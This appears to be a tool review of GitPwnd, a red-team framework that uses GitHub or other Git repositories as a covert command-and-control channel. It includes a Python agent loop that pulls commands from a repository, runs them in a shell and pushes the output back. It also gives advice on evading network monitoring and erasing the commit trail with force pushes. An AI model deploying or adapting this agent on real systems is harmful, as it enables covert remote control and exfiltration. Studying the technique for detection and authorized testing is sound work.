GitPwnd: Building Command-and-Control Infrastructure on Top of GitHub
Hook
What if the same GitHub repository your development team uses to collaborate on code could also be weaponized to remotely control compromised machines—and your security team would never notice because the traffic looks identical to normal git push operations?
Context
Traditional command-and-control frameworks face a fundamental problem: they require compromised machines to communicate with attacker-controlled infrastructure, creating network traffic patterns that modern security tools are trained to detect. When a compromised workstation inside a corporate network starts making repeated connections to an unknown IP address or domain, it raises immediate red flags in SIEM systems and triggers firewall alerts.
But what happens when the compromised machine only talks to github.com—a domain that appears on every enterprise whitelist and generates thousands of legitimate requests daily? GitPwnd, developed by NCC Group's penetration testing team and presented at BlackHat USA 2017, exploits this blind spot by turning Git repositories into covert communication channels. Instead of the typical client-server model where agents beacon directly to attacker infrastructure, GitPwnd uses a Git repository as a dead drop: the operator pushes commands as commits, agents pull and execute them, then push results back as new commits. To network monitoring tools, this traffic is indistinguishable from a developer syncing code, making it a particularly insidious technique for red team operations in environments with strict egress filtering but permissive access to developer tools.
Technical Insight
GitPwnd's architecture inverts the traditional C2 model by eliminating direct network connections between operator and agent entirely. The operator runs a Python-based server component that interfaces with a Git repository (hosted on GitHub, GitLab, or any Git service), while lightweight Python agents deployed on compromised machines poll the same repository for tasking. This creates an asynchronous, indirect communication pattern where the Git service acts as an unwitting intermediary.
The core workflow is elegantly simple. When an operator wants to execute a command, the server component creates a task file in a designated directory within the repository, commits it, and pushes to the remote. Each agent is configured with a unique identifier and polls the repository at regular intervals (configurable, typically 30-60 seconds to avoid suspicious request patterns). When an agent pulls the repository and finds a task file matching its identifier, it executes the command, captures the output, writes it to a result file, commits locally, and pushes back to the repository. The operator's server monitors for new commits containing results and displays them to the operator.
# Simplified agent polling loop (conceptual representation)
import git
import time
import subprocess
import os
AGENT_ID = "agent_001"
REPO_PATH = "/tmp/c2_repo"
TASK_DIR = "tasks"
RESULT_DIR = "results"
def poll_for_tasks():
repo = git.Repo(REPO_PATH)
while True:
# Pull latest changes from remote
repo.remotes.origin.pull()
# Check for task files matching our agent ID
task_file = os.path.join(REPO_PATH, TASK_DIR, f"{AGENT_ID}.task")
if os.path.exists(task_file):
with open(task_file, 'r') as f:
command = f.read().strip()
# Execute command and capture output
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
output = e.output
# Write result and commit back
result_file = os.path.join(REPO_PATH, RESULT_DIR, f"{AGENT_ID}.result")
with open(result_file, 'w') as f:
f.write(output.decode())
# Remove task file, add result, commit and push
os.remove(task_file)
repo.index.add([result_file])
repo.index.commit(f"Update from {AGENT_ID}")
repo.remotes.origin.push()
# Wait before next poll
time.sleep(60)
The genius of this approach is that it transforms C2 traffic into a protocol that enterprises explicitly trust and rarely scrutinize. GitHub traffic uses HTTPS on port 443, originates from developer workstations (which compromised machines often are), and follows predictable patterns of push/pull operations. Traditional C2 detection techniques like beaconing analysis become less effective because the timing intervals match legitimate development workflows, and the traffic terminates at a highly-trusted destination rather than a suspicious domain.
From an operational security perspective, GitPwnd offers defenders a fascinating case study in protocol abuse. The commit history creates a complete forensic record of all C2 activity—every command sent, every result returned, timestamped and attributed. However, this same feature becomes an advantage for sophisticated attackers who understand Git's history-rewriting capabilities. Using git push --force with a rebased or amended history, operators can systematically erase the evidence trail, though this requires careful coordination to avoid breaking agent synchronization.
The repository structure itself is minimal by design. A typical GitPwnd operation uses a simple directory layout with separate folders for tasks and results, potentially organized by agent ID or campaign. Some operators create private repositories to avoid public exposure, while others use public repos with innocuous names and obfuscated content to further blend in. The tool supports any Git hosting service, not just GitHub—an important flexibility for environments where alternative services like BitBucket or self-hosted GitLab instances might be more commonly used and therefore less suspicious.
Gotcha
GitPwnd's most significant limitation is the inherent latency of Git-based communication. Unlike traditional C2 frameworks that establish persistent connections for near-instantaneous command execution, GitPwnd's asynchronous model introduces delays measured in polling intervals. If agents poll every 60 seconds, you might wait a full minute before a command is even retrieved, plus additional time for execution and result upload. This makes GitPwnd unsuitable for scenarios requiring real-time interaction—debugging a payload, navigating a file system interactively, or responding to rapidly changing network conditions becomes frustratingly slow.
The repository also represents a critical single point of failure and evidence. If defenders discover the Git repository, they gain complete visibility into your entire operation: every compromised host (via agent IDs), every command executed, and the timeline of all activity. While history rewriting can mitigate this, it requires discipline and creates synchronization challenges—agents that don't pull before the force push will have divergent histories, potentially breaking their ability to push results. Additionally, the tool's documentation acknowledges it's in early proof-of-concept stage (v0.1) with minimal guidance for operational deployment. There's no built-in encryption for task/result files, no agent authentication beyond repository access, and no management interface beyond direct Git operations. Operators need to implement their own operational security measures, including content encryption, access controls, and cleanup procedures. The Python 2.7 dependency, while useful for legacy system compatibility, also signals the tool's age and lack of active maintenance—you're inheriting technical debt the moment you deploy it.
Verdict
Use if: You're a penetration tester or red team operator conducting authorized assessments in environments with strict egress filtering but permissive developer tool access, where stealth and evasion of network monitoring are higher priorities than real-time interaction, and you have the technical sophistication to implement proper encryption, access controls, and operational security around the framework. GitPwnd excels in scenarios where your target organization's security team trusts GitHub implicitly and you need to establish long-term persistence with infrequent tasking. Skip if: You need real-time C2 capabilities, lack the expertise to harden a proof-of-concept tool for operational use, are working in environments where Git traffic would be anomalous (non-development networks), or require mature documentation and active community support. For most modern red team operations, frameworks like Sliver or Cobalt Strike offer better feature sets and operational reliability, but they can't match GitPwnd's specific advantage of hiding in developer workflow noise.